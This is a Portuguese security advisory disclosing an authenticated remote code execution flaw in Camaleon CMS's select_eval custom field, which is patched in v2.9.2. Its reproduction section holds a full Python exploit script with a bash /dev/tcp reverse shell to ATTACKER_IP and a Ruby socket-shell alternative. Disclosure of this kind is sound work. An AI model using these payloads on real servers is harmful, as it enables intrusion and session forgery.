
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Updated!
Advisory de Segurança: Camaleon CMS - RCE autenticado via campo personalizado `select_eval`
Advisory de Segurança: Camaleon CMS - RCE Autenticado via Campo Personalizado select_eval
ID de CVE atribuído: CVE-2026-66748
Produto: Camaleon CMS (https://github.com/owen2345/camaleon-cms)
Versões afetadas: 2.1.1 – 2.9.1 (commit que introduziu: 415cbda6 2015-10-16; commit que corrigiu: 15882366 2026-03-29 / v2.9.2)
Severidade: Alta
Pontuação CVSS 4.0: 8.7
Vetor CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE: CWE-94 (Injeção de Código)
Pesquisador: Theodosis Paidakis
Fornecedor notificado: 2026-06-21
Advisory relacionado: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval — tipo de campo paralelo, mesma causa raiz, sem CVE atribuído)
Resumo
O tipo de campo personalizado select_eval armazena uma expressão Ruby arbitrária em field.options[:command] e a executa via instance_eval em uma view ERB sempre que uma página de edição de post é renderizada. Antes da v2.9.2, qualquer usuário com a permissão de gerenciamento custom_fields — comumente concedida a contas com perfil de editor — podia criar esse tipo de campo e obter RCE no servidor. Um campo select_eval é acionado a cada renderização de página de qualquer post que use o grupo de campos; sua saída se torna a lista de opções do dropdown. A vulnerabilidade foi corrigida na v2.9.2.
Componente Afetado
Arquivo: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
instance_eval é chamado com a string bruta do registro do banco de dados. Não há sandboxing nem restrição em tempo de compilação sobre quais métodos ou constantes estão acessíveis a partir do binding ERB (que é um contexto completo de view do Rails).
Arquivo: app/models/camaleon_cms/ability.rb (v2.9.1, linhas 161-165)
custom_fields nunca é concedida explicitamente. Oito recursos recebem can :manage individualmente mais acima no arquivo (media, comments, themes, widgets, nav_menu, plugins, users, settings), e custom_fields não é um deles. Ela só é alcançável por meio deste catch-all, que concede manage a qualquer chave presente no hash @roles_manager do perfil sem verificar se essa chave é segura de ser concedida:
@roles_manager.try(:each) do |rol_manage_key, val_role|
can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
false
end
Portanto, qualquer usuário cujo perfil tenha o bit custom_fields ativo chega ao controller de campos personalizados. Na faixa afetada, esse bit é rotineiramente concedido a perfis de nível editor.
A reescrita na v2.9.2 substitui can por um wrapper safe_can e adiciona uma lista explícita %i[...] contendo tanto custom_fields quanto select_eval, mas o loop catch-all acima ainda existe nessa versão. A lista de permissões não é o que corrige este problema; a allowlist de strong parameters em custom_fields_controller.rb e a verificação can?(:manage, :select_eval) em custom_field_group.rb são.
Análise da Causa Raiz
O tipo de campo select_eval foi projetado para permitir que desenvolvedores preencham dinamicamente dropdowns de seleção a partir de código Ruby armazenado no banco de dados do CMS. Executar Ruby arbitrário de uma coluna do banco de dados via instance_eval equivale a conceder acesso ao shell a qualquer pessoa que possa escrever esse valor. O requisito de permissão era custom_fields — uma permissão rotineira de gerenciamento de conteúdo — em vez de um bit privilegiado explícito.
Relação com Advisories Anteriores
Esta descoberta foi publicada como GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9, abrangendo um tipo de campo paralelo label_eval no Camaleon CMS. Esse advisory fazia parte de um lote de cinco descobertas (GHSL-2024-182 a GHSL-2024-186); apenas duas das cinco receberam números de CVE (CVE-2024-46986 e CVE-2024-46987). O GHSL-2024-185 em si não possui CVE atribuído.
select_eval e label_eval compartilham a mesma causa raiz — Ruby arbitrário armazenado no banco de dados executado via instance_eval em uma view ERB —, mas são distintos em todas as outras dimensões:
label_eval (GHSL-2024-185) | select_eval (este relatório) | |
|---|---|---|
| Local de execução | Rótulo do campo em qualquer formulário | select_tag na página de edição de post |
| Caminho de escrita | Texto do rótulo do campo personalizado | linha meta field.options[:command] |
Este relatório cobre exclusivamente select_eval. Nenhum CVE ou advisory público existente documenta esse tipo de campo específico e seu caminho de exploração.
Passos para Reproduzir
A faixa afetada v2.1.1 a v2.9.1 foi determinada por análise de código-fonte; a exploração foi confirmada de ponta a ponta na v2.9.1. Requer apenas uma conta com permissão custom_fields — sem acesso ao servidor.
Pré-requisitos: Qualquer conta com o bit de gerenciamento custom_fields ativo — uma permissão padrão de perfil de editor na faixa afetada.
Passo 1. Inicie um listener:
nc -lnvp 4444
Passo 2. Execute o script. Edite BASE, ATTACKER_IP, TYPE_ID, POST_ID e as credenciais.
TYPE_ID — ID do tipo de post visível na URL da barra lateral do admin (ex.: /admin/post_type/2/posts).
POST_ID — qualquer ID de post sob esse tipo, a partir dos links de edição da lista de posts.
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
Impacto
Qualquer conta com permissão custom_fields (antes da v2.9.2) obtém:
- Execução arbitrária de Ruby no processo Rails, com os privilégios do usuário do servidor web (
deploy,www-data,rails, etc.) - Execução persistente: o payload é acionado a cada renderização de página de todo post que use o grupo de campos — não é uma exploração de uma única vez
- Falsificação de sessão: ler
secret_key_basedeconfig/secrets.ymlpermite forjar cookies de sessão arbitrários para qualquer usuário, incluindo administradores - Impacto multi-site: em uma instância Camaleon compartilhada, o processo Rails tem acesso aos dados de todos os sites
Antes da v2.9.2, a permissão custom_fields era rotineiramente concedida a usuários com perfil de editor. Um atacante que comprometa qualquer conta de nível editor alcança RCE total no servidor.
Cronologia
2026-06-19 — Descoberto durante análise de código-fonte das versões v2.9.2 e v2.9.1 2026-06-21 — Fornecedor notificado 2026-03-29 — Patch já lançado (v2.9.2, commit 15882366)